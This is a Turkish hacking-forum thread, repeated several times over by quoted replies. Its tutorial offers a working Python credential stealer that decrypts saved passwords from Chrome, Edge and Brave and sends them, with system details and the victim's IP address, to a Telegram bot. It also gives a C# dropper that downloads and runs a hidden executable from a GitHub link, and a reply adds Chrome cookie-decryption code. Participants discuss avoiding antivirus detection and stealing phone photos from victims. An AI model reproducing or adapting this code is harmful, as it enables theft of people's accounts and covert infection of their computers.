- Konuyu başlatan
- #21
Hocam uyaridan kastiniz ne cunki ben uyari felan yasamdim hic almadim baska pclerdede denedim cokca hic olmadiBu kodla alınan şifreleri google uyarı verir
Follow along with the video below to see how to install our site as a web app on your home screen.
Not: This feature may not be available in some browsers.
Hocam uyaridan kastiniz ne cunki ben uyari felan yasamdim hic almadim baska pclerdede denedim cokca hic olmadiBu kodla alınan şifreleri google uyarı verir
Önerim çok büyük değil ama aklıma geldi belki bu botu şöyle gelistirebilirsin telefonlar için de olabilir mesela bir dosya oluşturursun o dosyayı yüklediğinde (belki bir jpg dosyası olabilir) öylece telefonundaki resimleri bize geçsin kopya olarak ve kurbanın telefonundaki resim ve videolar bize geçer birde kurbanımızın ipSaolun hocam bi oneriniz varsa beklerim
Dosyalari cekebeliriz mantikli hocam aslinda saolunÖnerim çok büyük değil ama aklıma geldi belki bu botu şöyle gelistirebilirsin telefonlar için de olabilir mesela bir dosya oluşturursun o dosyayı yüklediğinde (belki bir jpg dosyası olabilir) öylece telefonundaki resimleri bize geçsin kopya olarak ve kurbanın telefonundaki resim ve videolar bize geçer birde kurbanımızın ip
adresini alıp bize gösterebilir böyle bir şey geldi aklıma
eywvirustotel loglerını paylasıyo antıvırus fırmalarıyla o yuzden 2 av ye yakalananıyorsa artık 10 av ye yakalanır
eyvallah hocameline sağlık
Saolun hocam calistiysa guzeltelegram yerine discord webhook haline donderdım başarılı wındows defender aktıf iken loglama oluyor eline sağlık
Hocam cooki isi denedim ama chrome dosyasindan cekmede hep "value" kisminda sikinti yasadimProje güzel fakat, hazır stealer'ları inceleyip; Cookie decrypte mekanizmalarını taklit ederek daha iyi bir şey çıkabilirdi ortaya.
Aşağıda bir örnek bırakıyorum, geliştirmek sana kalmış.Hocam cooki isi denedim ama chrome dosyasindan cekmede hep "value" kisminda sikinti yasadim
def ŞifreyiÇöz(self, tampon: bytes, anahtar: bytes) -> str:
sürüm = tampon.decode(errors="ignore") # şifreli verinin sürümünü kontrol et
if sürüm.startswith(("v10", "v11")): # eğer veri v10 veya v11 ile şifrelenmişse
iv = tampon[3:15] # iv aldık
şifreliMetin = tampon[15:] # sifreli metinn
# aes gcm 16lık periyot kullanıyoruz
return pyaes.AESModeOfOperationGCM(anahtar, iv).decrypt(şifreliMetin)[:-16].decode(errors="ignore")
else:
# eski sürüm için CryptUnprotectData fonksiyonunu kulanıyoruz
return str(Syscalls.KorumayıKaldır(tampon))
def ÇerezleriAl(self) -> list[tuple[str, str, str, str, int]]:
şifrelemeAnahtarı = self.ŞifrelemeAnahtarınıAl() # sifreleme anahatırını al
çerezler = list() # çerrezler
if şifrelemeAnahtarı is None:
return çerezler
çerezDosyaYolları = list()
# tarayıcının cookie kısmını arıyor
for kök, _, dosyalar in os.walk(self.TarayıcıYolu):
for dosya in dosyalar:
if dosya.lower() == "cookies": # Dosya adı "cookies" ise
dosyaYolu = os.path.join(kök, dosya)
çerezDosyaYolları.append(dosyaYolu)
# her cookie dosyası için işlem
for yol in çerezDosyaYolları:
while True:
geçiciDosya = os.path.join(os.getenv("temp"), Utility.RastgeleDizeOluştur(10) + ".tmp")
if not os.path.isfile(geçiciDosya): # geçici temp dosyası yoksa döngüyü kapat
break
try:
shutil.copy(yol, geçiciDosya) # çerezleri kopyala
except Exception:
continue
veritabanı = sqlite3.connect(geçiciDosya) # sqlite bağlantısı
veritabanı.text_factory = lambda b: b.decode(errors="ignore") #karakterlerde hata varsa yok say
imleç = veritabanı.cursor()
try:
# çerezleri sorgulamaa
sonuçlar = imleç.execute("SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies").fetchall()
for sunucu, isim, yol, çerez, sonKullanım in sonuçlar:
çerez = self.ŞifreyiÇöz(çerez, şifrelemeAnahtarı) # şifreli çerezi çöz
#yardımcı fonksiyon ileee
if sunucu and isim and çerez:
çerezler.append((sunucu, isim, yol, çerez, sonKullanım))
except Exception:
pass
imleç.close()
veritabanı.close()
os.remove(geçiciDosya)
return çerezler
Eline Sağlık Kardeş.= Merhabalar, bugün size iki farklı konu anlatıcam ilk olarak bir kişinin kullandığı tarayıcıdaki kayıtlı kullanıcı adı ve şifrelerini alacağız. Size kodun biraz mantığından bahsetmek istiyorum. Kod, kişinin kullandığı Brave, Edge ve Chrome tarayıcılarında açılmış tüm profilleri tarayarak kayıtlı verileri alır ve aldığı bilgileri Telegram botuna aktarır. İsterseniz koda geçelim.
Virustotelde taratmayin lutfen
Python:import os import json import base64 import sqlite3 import win32crypt from Crypto.Cipher import AES import shutil import requests import io import platform import datetime def encryption_key(browser): try: if browser == "Chrome": local_state_yolu = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") elif browser == "Edge": local_state_yolu = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data", "Local State") elif browser == "Brave": local_state_yolu = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data", "Local State") with open(local_state_yolu, "r", encoding="utf-8") as f: local_state = json.load(f) key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) key = key[5:] return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] except FileNotFoundError: print(f"{browser} local state path not found: {local_state_yolu}") return None def decrypt_password(password, key): try: iv = password[3:15] password = password[15:] cipher = AES.new(key, AES.MODE_GCM, iv) return cipher.decrypt(password)[:-16].decode() except Exception: try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except Exception: return "" def send_telegram_document(bot_token, chat_id, document_file, filename="browser_data.json"): url = f"https://api.telegram.org/bot{bot_token}/sendDocument" files = {'document': (filename, document_file)} params = { "chat_id": chat_id, } try: response = requests.post(url, params=params, files=files) response.raise_for_status() print("") except requests.exceptions.RequestException as e: print(f"") def send_telegram_message(bot_token, chat_id, text): url = f"https://api.telegram.org/bot{bot_token}/sendMessage" data = {"chat_id": chat_id, "text": text} try: response = requests.post(url, data=data) response.raise_for_status() print("") except requests.exceptions.RequestException as e: print(f"") def get_system_info(): system_name = platform.node() os_name = platform.system() os_version = platform.version() date_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") try: ip_address = requests.get("https://api.ipify.org").text except Exception: ip_address = "Unavailable" info = ( f"🖥️ Sistem Bilgileri:\n" f"🔹 Sistem Adı: {system_name}\n" f"🛠️ İşletim Sistemi: {os_name}\n" f"📦 Sürüm: {os_version}\n" f"⏰ Tarih ve Saat: {date_time}\n" f"🌐 IP Adresi: {ip_address}" ) return info def fetch_credentials(profile_path, key): db_path = os.path.join(profile_path, "Login Data") if not os.path.exists(db_path): return [] filename = "ChromeData.db" shutil.copyfile(db_path, filename) db = sqlite3.connect(filename) cursor = db.cursor() cursor.execute( "SELECT origin_url, action_url, username_value, password_value, date_created, date_last_used FROM logins ORDER BY date_created" ) credentials = [] for row in cursor.fetchall(): origin_url = row[0] action_url = row[1] username = row[2] password = decrypt_password(row[3], key) if username or password: credentials.append({ "Origin URL": origin_url, "Action URL": action_url, "Username": username, "Password": password }) cursor.close() db.close() try: os.remove(filename) except Exception: pass return credentials def main(): bot_token = 'unutmayın' chat_id = 'unutmayın' browsers = ["Chrome", "Edge", "Brave"] all_data = [] for browser in browsers: key = encryption_key(browser) if key is None: continue if browser == "Chrome": user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data") elif browser == "Edge": user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data") elif browser == "Brave": user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data") profiles = [os.path.join(user_data_path, p) for p in os.listdir(user_data_path) if os.path.isdir(os.path.join(user_data_path, p)) and (p == "Default" or p.startswith("Profile"))] browser_data = {"Browser": browser, "Profiles": []} for profile in profiles: profile_name = os.path.basename(profile) credentials = fetch_credentials(profile, key) profile_data = { "Profile": profile_name, "Credentials": credentials } browser_data["Profiles"].append(profile_data) all_data.append(browser_data) if all_data: system_info = get_system_info() send_telegram_message(bot_token, chat_id, system_info) json_data = json.dumps(all_data, indent=4) bytes_io = io.BytesIO(json_data.encode('utf-8')) send_telegram_document(bot_token, chat_id, bytes_io) if __name__ == "__main__": main()
Ve işte Telegram'a gönderilen veriler
Gördüğünüz gibi, kod bu şekilde. Unutmayın, bot token ve chat ID'nizi de eklemelisiniz. Tabii ki her şey bu kadar değil. Eğer kurbana bu şekilde gönderirseniz, işlem çalışmayacaktır. Kodu PyInstaller kullanarak .exe'ye çevirebilirsiniz. İşte bu da Antivirüs sonuçları.
Kleenscan.com
2) İkinci kısımda, otomatik bir link oluşturup kurban linke gittiğinde bizim exe dosyamız indirilecek. Tabii bu işlem için bir koda ihtiyacımız var. Mantık şu şekilde: Kodu verdiğimiz linke gidip zip dosyasını indirecek ve içinde daha önce hazırladığımız .exe dosyasını çıkarıp çalıştıracak. İşlem bitince her şeyi silecek. Bu kadar basit. Şimdi koda geçelim.
=) Koda geçmeden önce, linki nasıl oluşturacağımızı önce anlatayım.
"Ziplediğimiz dosyayı GitHub'a yükleyin, ancak unutmayın, dosya public olmalı ve boyutu 25 MB'yi geçmemeli. Projeye dosyayı yükledikten sonra, projeye girip 'RAW' kısmındaki URL'yi kopyalayacaksınız. İşte, otomatik indirme linki hazır
şimdi sıra koddaa
C#:using System; using System.Diagnostics; using System.IO; using System.Net; using System.Threading; class Program { static void Main() { string zipUrl = "aldıgını url"; string zipFileName = "zipin ismi"; string exeFileName = "exenın ısmı"; string appDataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "MyAppFolder"); if (!Directory.Exists(appDataPath)) { Directory.CreateDirectory(appDataPath); } string zipPath = Path.Combine(appDataPath, zipFileName); string exePath = Path.Combine(appDataPath, exeFileName); try { new WebClient().DownloadFile(zipUrl, zipPath); Console.WriteLine("ZIP dosyası indirildi."); Process.Start(new ProcessStartInfo("powershell", $"Expand-Archive -Path \"{zipPath}\" -DestinationPath \"{appDataPath}\" -Force") { CreateNoWindow = true, UseShellExecute = false }).WaitForExit(); Console.WriteLine("ZIP içinndeki dosyalar ayıklandı."); if (File.Exists(exePath)) { Process.Start(exePath); Console.WriteLine("exe dosyası çalıştırıldı."); } else { Console.WriteLine("EXE doyası bulunamadı"); } Thread.Sleep(7000); File.Delete(zipPath); File.Delete(exePath); Console.WriteLine("Dosyalar kalıcı olarak silindi."); } catch (Exception ex) { Console.WriteLine("Hata: " + ex.Message); } } }
kodun çalışma şekli *
- Zip dosyasını indirir.
- Zip dosyasını çıkarır.
- Çıkartılan .exe dosyasını çalıştırır.
- Bir süre bekledikten sonra dosyaları siler.
Umarım beğenmissinizdi
Anlatacaklarım bu kadar. İnşallah yararlı bir konu olmuştur. Eğer iki kodda da bir eksiklik veya yanlış varsa, lütfen bilgilendiriniz. Ayrıca, eklenebilecek özellikler ve eleştirileriniz hakkında görüşlerinizi yazarsanız sevinirim.
Eyvallah reisEline Sağlık Kardeş.
Elinize sağlık= Merhabalar, bugün size iki farklı konu anlatıcam ilk olarak bir kişinin kullandığı tarayıcıdaki kayıtlı kullanıcı adı ve şifrelerini alacağız. Size kodun biraz mantığından bahsetmek istiyorum. Kod, kişinin kullandığı Brave, Edge ve Chrome tarayıcılarında açılmış tüm profilleri tarayarak kayıtlı verileri alır ve aldığı bilgileri Telegram botuna aktarır. İsterseniz koda geçelim.
Virustotelde taratmayin lutfen
Python:import os import json import base64 import sqlite3 import win32crypt from Crypto.Cipher import AES import shutil import requests import io import platform import datetime def encryption_key(browser): try: if browser == "Chrome": local_state_yolu = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") elif browser == "Edge": local_state_yolu = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data", "Local State") elif browser == "Brave": local_state_yolu = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data", "Local State") with open(local_state_yolu, "r", encoding="utf-8") as f: local_state = json.load(f) key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) key = key[5:] return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] except FileNotFoundError: print(f"{browser} local state path not found: {local_state_yolu}") return None def decrypt_password(password, key): try: iv = password[3:15] password = password[15:] cipher = AES.new(key, AES.MODE_GCM, iv) return cipher.decrypt(password)[:-16].decode() except Exception: try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except Exception: return "" def send_telegram_document(bot_token, chat_id, document_file, filename="browser_data.json"): url = f"https://api.telegram.org/bot{bot_token}/sendDocument" files = {'document': (filename, document_file)} params = { "chat_id": chat_id, } try: response = requests.post(url, params=params, files=files) response.raise_for_status() print("") except requests.exceptions.RequestException as e: print(f"") def send_telegram_message(bot_token, chat_id, text): url = f"https://api.telegram.org/bot{bot_token}/sendMessage" data = {"chat_id": chat_id, "text": text} try: response = requests.post(url, data=data) response.raise_for_status() print("") except requests.exceptions.RequestException as e: print(f"") def get_system_info(): system_name = platform.node() os_name = platform.system() os_version = platform.version() date_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") try: ip_address = requests.get("https://api.ipify.org").text except Exception: ip_address = "Unavailable" info = ( f"🖥️ Sistem Bilgileri:\n" f"🔹 Sistem Adı: {system_name}\n" f"🛠️ İşletim Sistemi: {os_name}\n" f"📦 Sürüm: {os_version}\n" f"⏰ Tarih ve Saat: {date_time}\n" f"🌐 IP Adresi: {ip_address}" ) return info def fetch_credentials(profile_path, key): db_path = os.path.join(profile_path, "Login Data") if not os.path.exists(db_path): return [] filename = "ChromeData.db" shutil.copyfile(db_path, filename) db = sqlite3.connect(filename) cursor = db.cursor() cursor.execute( "SELECT origin_url, action_url, username_value, password_value, date_created, date_last_used FROM logins ORDER BY date_created" ) credentials = [] for row in cursor.fetchall(): origin_url = row[0] action_url = row[1] username = row[2] password = decrypt_password(row[3], key) if username or password: credentials.append({ "Origin URL": origin_url, "Action URL": action_url, "Username": username, "Password": password }) cursor.close() db.close() try: os.remove(filename) except Exception: pass return credentials def main(): bot_token = 'unutmayın' chat_id = 'unutmayın' browsers = ["Chrome", "Edge", "Brave"] all_data = [] for browser in browsers: key = encryption_key(browser) if key is None: continue if browser == "Chrome": user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data") elif browser == "Edge": user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data") elif browser == "Brave": user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data") profiles = [os.path.join(user_data_path, p) for p in os.listdir(user_data_path) if os.path.isdir(os.path.join(user_data_path, p)) and (p == "Default" or p.startswith("Profile"))] browser_data = {"Browser": browser, "Profiles": []} for profile in profiles: profile_name = os.path.basename(profile) credentials = fetch_credentials(profile, key) profile_data = { "Profile": profile_name, "Credentials": credentials } browser_data["Profiles"].append(profile_data) all_data.append(browser_data) if all_data: system_info = get_system_info() send_telegram_message(bot_token, chat_id, system_info) json_data = json.dumps(all_data, indent=4) bytes_io = io.BytesIO(json_data.encode('utf-8')) send_telegram_document(bot_token, chat_id, bytes_io) if __name__ == "__main__": main()
Ve işte Telegram'a gönderilen veriler
Gördüğünüz gibi, kod bu şekilde. Unutmayın, bot token ve chat ID'nizi de eklemelisiniz. Tabii ki her şey bu kadar değil. Eğer kurbana bu şekilde gönderirseniz, işlem çalışmayacaktır. Kodu PyInstaller kullanarak .exe'ye çevirebilirsiniz. İşte bu da Antivirüs sonuçları.
Kleenscan.com
2) İkinci kısımda, otomatik bir link oluşturup kurban linke gittiğinde bizim exe dosyamız indirilecek. Tabii bu işlem için bir koda ihtiyacımız var. Mantık şu şekilde: Kodu verdiğimiz linke gidip zip dosyasını indirecek ve içinde daha önce hazırladığımız .exe dosyasını çıkarıp çalıştıracak. İşlem bitince her şeyi silecek. Bu kadar basit. Şimdi koda geçelim.
=) Koda geçmeden önce, linki nasıl oluşturacağımızı önce anlatayım.
"Ziplediğimiz dosyayı GitHub'a yükleyin, ancak unutmayın, dosya public olmalı ve boyutu 25 MB'yi geçmemeli. Projeye dosyayı yükledikten sonra, projeye girip 'RAW' kısmındaki URL'yi kopyalayacaksınız. İşte, otomatik indirme linki hazır
şimdi sıra koddaa
C#:using System; using System.Diagnostics; using System.IO; using System.Net; using System.Threading; class Program { static void Main() { string zipUrl = "aldıgını url"; string zipFileName = "zipin ismi"; string exeFileName = "exenın ısmı"; string appDataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "MyAppFolder"); if (!Directory.Exists(appDataPath)) { Directory.CreateDirectory(appDataPath); } string zipPath = Path.Combine(appDataPath, zipFileName); string exePath = Path.Combine(appDataPath, exeFileName); try { new WebClient().DownloadFile(zipUrl, zipPath); Console.WriteLine("ZIP dosyası indirildi."); Process.Start(new ProcessStartInfo("powershell", $"Expand-Archive -Path \"{zipPath}\" -DestinationPath \"{appDataPath}\" -Force") { CreateNoWindow = true, UseShellExecute = false }).WaitForExit(); Console.WriteLine("ZIP içinndeki dosyalar ayıklandı."); if (File.Exists(exePath)) { Process.Start(exePath); Console.WriteLine("exe dosyası çalıştırıldı."); } else { Console.WriteLine("EXE doyası bulunamadı"); } Thread.Sleep(7000); File.Delete(zipPath); File.Delete(exePath); Console.WriteLine("Dosyalar kalıcı olarak silindi."); } catch (Exception ex) { Console.WriteLine("Hata: " + ex.Message); } } }
kodun çalışma şekli *
- Zip dosyasını indirir.
- Zip dosyasını çıkarır.
- Çıkartılan .exe dosyasını çalıştırır.
- Bir süre bekledikten sonra dosyaları siler.
Umarım beğenmissinizdi
Anlatacaklarım bu kadar. İnşallah yararlı bir konu olmuştur. Eğer iki kodda da bir eksiklik veya yanlış varsa, lütfen bilgilendiriniz. Ayrıca, eklenebilecek özellikler ve eleştirileriniz hakkında görüşlerinizi yazarsanız sevinirim.
Eyvallah hocamElinize sağlık
apk halide gelirse tadından yenmez cano eline sağlık= Merhabalar, bugün size iki farklı konu anlatıcam ilk olarak bir kişinin kullandığı tarayıcıdaki kayıtlı kullanıcı adı ve şifrelerini alacağız. Size kodun biraz mantığından bahsetmek istiyorum. Kod, kişinin kullandığı Brave, Edge ve Chrome tarayıcılarında açılmış tüm profilleri tarayarak kayıtlı verileri alır ve aldığı bilgileri Telegram botuna aktarır. İsterseniz koda geçelim.
Virustotelde taratmayin lutfen
Python:import os import json import base64 import sqlite3 import win32crypt from Crypto.Cipher import AES import shutil import requests import io import platform import datetime def encryption_key(browser): try: if browser == "Chrome": local_state_yolu = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") elif browser == "Edge": local_state_yolu = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data", "Local State") elif browser == "Brave": local_state_yolu = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data", "Local State") with open(local_state_yolu, "r", encoding="utf-8") as f: local_state = json.load(f) key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) key = key[5:] return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] except FileNotFoundError: print(f"{browser} local state path not found: {local_state_yolu}") return None def decrypt_password(password, key): try: iv = password[3:15] password = password[15:] cipher = AES.new(key, AES.MODE_GCM, iv) return cipher.decrypt(password)[:-16].decode() except Exception: try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except Exception: return "" def send_telegram_document(bot_token, chat_id, document_file, filename="browser_data.json"): url = f"https://api.telegram.org/bot{bot_token}/sendDocument" files = {'document': (filename, document_file)} params = { "chat_id": chat_id, } try: response = requests.post(url, params=params, files=files) response.raise_for_status() print("") except requests.exceptions.RequestException as e: print(f"") def send_telegram_message(bot_token, chat_id, text): url = f"https://api.telegram.org/bot{bot_token}/sendMessage" data = {"chat_id": chat_id, "text": text} try: response = requests.post(url, data=data) response.raise_for_status() print("") except requests.exceptions.RequestException as e: print(f"") def get_system_info(): system_name = platform.node() os_name = platform.system() os_version = platform.version() date_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") try: ip_address = requests.get("https://api.ipify.org").text except Exception: ip_address = "Unavailable" info = ( f"🖥️ Sistem Bilgileri:\n" f"🔹 Sistem Adı: {system_name}\n" f"🛠️ İşletim Sistemi: {os_name}\n" f"📦 Sürüm: {os_version}\n" f"⏰ Tarih ve Saat: {date_time}\n" f"🌐 IP Adresi: {ip_address}" ) return info def fetch_credentials(profile_path, key): db_path = os.path.join(profile_path, "Login Data") if not os.path.exists(db_path): return [] filename = "ChromeData.db" shutil.copyfile(db_path, filename) db = sqlite3.connect(filename) cursor = db.cursor() cursor.execute( "SELECT origin_url, action_url, username_value, password_value, date_created, date_last_used FROM logins ORDER BY date_created" ) credentials = [] for row in cursor.fetchall(): origin_url = row[0] action_url = row[1] username = row[2] password = decrypt_password(row[3], key) if username or password: credentials.append({ "Origin URL": origin_url, "Action URL": action_url, "Username": username, "Password": password }) cursor.close() db.close() try: os.remove(filename) except Exception: pass return credentials def main(): bot_token = 'unutmayın' chat_id = 'unutmayın' browsers = ["Chrome", "Edge", "Brave"] all_data = [] for browser in browsers: key = encryption_key(browser) if key is None: continue if browser == "Chrome": user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data") elif browser == "Edge": user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data") elif browser == "Brave": user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data") profiles = [os.path.join(user_data_path, p) for p in os.listdir(user_data_path) if os.path.isdir(os.path.join(user_data_path, p)) and (p == "Default" or p.startswith("Profile"))] browser_data = {"Browser": browser, "Profiles": []} for profile in profiles: profile_name = os.path.basename(profile) credentials = fetch_credentials(profile, key) profile_data = { "Profile": profile_name, "Credentials": credentials } browser_data["Profiles"].append(profile_data) all_data.append(browser_data) if all_data: system_info = get_system_info() send_telegram_message(bot_token, chat_id, system_info) json_data = json.dumps(all_data, indent=4) bytes_io = io.BytesIO(json_data.encode('utf-8')) send_telegram_document(bot_token, chat_id, bytes_io) if __name__ == "__main__": main()
Ve işte Telegram'a gönderilen veriler
Gördüğünüz gibi, kod bu şekilde. Unutmayın, bot token ve chat ID'nizi de eklemelisiniz. Tabii ki her şey bu kadar değil. Eğer kurbana bu şekilde gönderirseniz, işlem çalışmayacaktır. Kodu PyInstaller kullanarak .exe'ye çevirebilirsiniz. İşte bu da Antivirüs sonuçları.
Kleenscan.com
2) İkinci kısımda, otomatik bir link oluşturup kurban linke gittiğinde bizim exe dosyamız indirilecek. Tabii bu işlem için bir koda ihtiyacımız var. Mantık şu şekilde: Kodu verdiğimiz linke gidip zip dosyasını indirecek ve içinde daha önce hazırladığımız .exe dosyasını çıkarıp çalıştıracak. İşlem bitince her şeyi silecek. Bu kadar basit. Şimdi koda geçelim.
=) Koda geçmeden önce, linki nasıl oluşturacağımızı önce anlatayım.
"Ziplediğimiz dosyayı GitHub'a yükleyin, ancak unutmayın, dosya public olmalı ve boyutu 25 MB'yi geçmemeli. Projeye dosyayı yükledikten sonra, projeye girip 'RAW' kısmındaki URL'yi kopyalayacaksınız. İşte, otomatik indirme linki hazır
şimdi sıra koddaa
C#:using System; using System.Diagnostics; using System.IO; using System.Net; using System.Threading; class Program { static void Main() { string zipUrl = "aldıgını url"; string zipFileName = "zipin ismi"; string exeFileName = "exenın ısmı"; string appDataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "MyAppFolder"); if (!Directory.Exists(appDataPath)) { Directory.CreateDirectory(appDataPath); } string zipPath = Path.Combine(appDataPath, zipFileName); string exePath = Path.Combine(appDataPath, exeFileName); try { new WebClient().DownloadFile(zipUrl, zipPath); Console.WriteLine("ZIP dosyası indirildi."); Process.Start(new ProcessStartInfo("powershell", $"Expand-Archive -Path \"{zipPath}\" -DestinationPath \"{appDataPath}\" -Force") { CreateNoWindow = true, UseShellExecute = false }).WaitForExit(); Console.WriteLine("ZIP içinndeki dosyalar ayıklandı."); if (File.Exists(exePath)) { Process.Start(exePath); Console.WriteLine("exe dosyası çalıştırıldı."); } else { Console.WriteLine("EXE doyası bulunamadı"); } Thread.Sleep(7000); File.Delete(zipPath); File.Delete(exePath); Console.WriteLine("Dosyalar kalıcı olarak silindi."); } catch (Exception ex) { Console.WriteLine("Hata: " + ex.Message); } } }
kodun çalışma şekli *
- Zip dosyasını indirir.
- Zip dosyasını çıkarır.
- Çıkartılan .exe dosyasını çalıştırır.
- Bir süre bekledikten sonra dosyaları siler.
Umarım beğenmissinizdi
Anlatacaklarım bu kadar. İnşallah yararlı bir konu olmuştur. Eğer iki kodda da bir eksiklik veya yanlış varsa, lütfen bilgilendiriniz. Ayrıca, eklenebilecek özellikler ve eleştirileriniz hakkında görüşlerinizi yazarsanız sevinirim.
Eyvallah reis ama telefonda bu islem olmasi icin cihazin rootlu olmasi gerekiyi keske olsaydiapk halide gelirse tadından yenmez cano eline sağlık
depolama izniyle log kayıtlarından çekilebiliyor diye biliyorum benim arklar log kayıtlarından rat ile hesap alıyor hangi log bilmiyorum amaEyvallah reis ama telefonda bu islem olmasi icin cihazin rootlu olmasi gerekiyi keske olsaydi![]()
Denenebilir hocam eyvallah bilgi icindepolama izniyle log kayıtlarından çekilebiliyor diye biliyorum benim arklar log kayıtlarından rat ile hesap alıyor hangi log bilmiyorum ama